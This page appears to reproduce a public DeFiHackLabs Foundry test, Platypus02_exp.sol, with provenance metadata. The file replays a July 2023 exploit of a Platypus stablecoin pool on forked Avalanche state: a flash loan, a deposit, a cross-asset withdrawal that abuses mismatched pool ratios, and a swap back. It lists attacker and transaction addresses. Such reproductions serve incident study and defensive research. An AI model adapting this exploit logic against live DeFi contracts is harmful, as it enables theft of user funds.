Public reproduction file

src/test/2023-07/Platypus02_exp.sol

Public reproduction file for dataset entry Platypus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Platypus02_exp.sol92 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~51K USD$
8// Attacker : https://snowtrace.io/address/0xc64afc460290ed3df848f378621b96cb7179521a
9// Attack Contract : https://snowtrace.io/address/0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8
10// Vulnerable Contract : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b
11// Attack Tx : https://snowtrace.io/tx/0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6 multiple txs
12 
13// @Info
14// Vulnerable Contract Code : https://snowtrace.io/address/0x7e1333a39abed9a5664661957b80ba01d2702b1e#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/peckshield/status/1678800450303164431
18// Root Cause
19// Deposit according to the USDC-LP within the ratio to calculate the deposit USDC amount.
20// Withdrawal when the amount of USDC-LP to take with the USDT.e-LP inside the ratio to do the calculation of withdrawal amount
21// the two pools (USDC-LP, USDT.e-LP) in the ratio is close, but in fact is not the same, arbitrage or attack?
22 
23interface IPlatypusPool {
24    function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256);
25 
26    function withdrawFromOtherAsset(
27        address initialToken,
28        address wantedToken,
29        uint256 liquidity,
30        uint256 minimumAmount,
31        address to,
32        uint256 deadline
33    ) external returns (uint256);
34 
35    function swap(
36        address fromToken,
37        address toToken,
38        uint256 fromAmount,
39        uint256 minimumToAmount,
40        address to,
41        uint256 deadline
42    ) external returns (uint256, uint256);
43}
44 
45contract ContractTest is Test {
46    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
47    IERC20 USDTe = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
48    IERC20 LP_USDC = IERC20(0x06f01502327De1c37076Bea4689a7e44279155e9);
49    IPlatypusPool PlatypusPool = IPlatypusPool(0xbe52548488992Cc76fFA1B42f3A58F646864df45);
50    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
51 
52    function setUp() public {
53        vm.createSelectFork("avalanche", 32_470_736);
54        vm.label(address(USDTe), "USDTe");
55        vm.label(address(USDC), "USDC");
56        vm.label(address(LP_USDC), "LP_USDC");
57        vm.label(address(aaveV3), "aaveV3");
58        vm.label(address(PlatypusPool), "PlatypusPool");
59    }
60 
61    function testExploit() public {
62        aaveV3.flashLoanSimple(address(this), address(USDC), 85_000 * 1e6, new bytes(0), 0);
63 
64        emit log_named_decimal_uint(
65            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
66        );
67    }
68 
69    function executeOperation(
70        address asset,
71        uint256 amount,
72        uint256 premium,
73        address initator,
74        bytes calldata params
75    ) external payable returns (bool) {
76        USDC.approve(address(aaveV3), amount + premium);
77 
78        USDC.approve(address(PlatypusPool), USDC.balanceOf(address(this)));
79        PlatypusPool.deposit(address(USDC), USDC.balanceOf(address(this)), address(this), block.timestamp); // deposit USDC
80        LP_USDC.approve(address(PlatypusPool), LP_USDC.balanceOf(address(this)));
81        PlatypusPool.withdrawFromOtherAsset(
82            address(USDC), address(USDTe), LP_USDC.balanceOf(address(this)), 0, address(this), block.timestamp
83        ); // withdraw USDC-LP from USDT.e-LP , calculate the amount of USDT.e to withdraw base on USDT.e-LP ratio, which different from USDC-LP's ratio
84 
85        USDTe.approve(address(PlatypusPool), USDTe.balanceOf(address(this)));
86        PlatypusPool.swap(
87            address(USDTe), address(USDC), USDTe.balanceOf(address(this)), 0, address(this), block.timestamp
88        ); // swap USDT.e to USDC
89 
90        return true;
91    }
92}

Analysis

Dataset entry

Public Foundry test for “Platypus” (2023-07-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
src/test/2023-10/Platypus03_exp.solSame protocol or name in the dataset · 112 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xc64afc460290ed3df848f378621b96cb7179521a
Attack Contract
0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8
Vulnerable Contract
0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b
Vulnerable Contract
0x7e1333a39abed9a5664661957b80ba01d2702b1e

Attack Tx
0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6

File record

Name: Platypus
Path: src/test/2023-07/Platypus02_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: ad0ad2308c5f94f60229803f2a2f9b3f7cb96068
Language: Solidity
Size: 93 lines
Date: 2023-07-12
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/Platypus02_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ad0ad2308c5f94f60229803f2a2f9b3f7cb96068, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.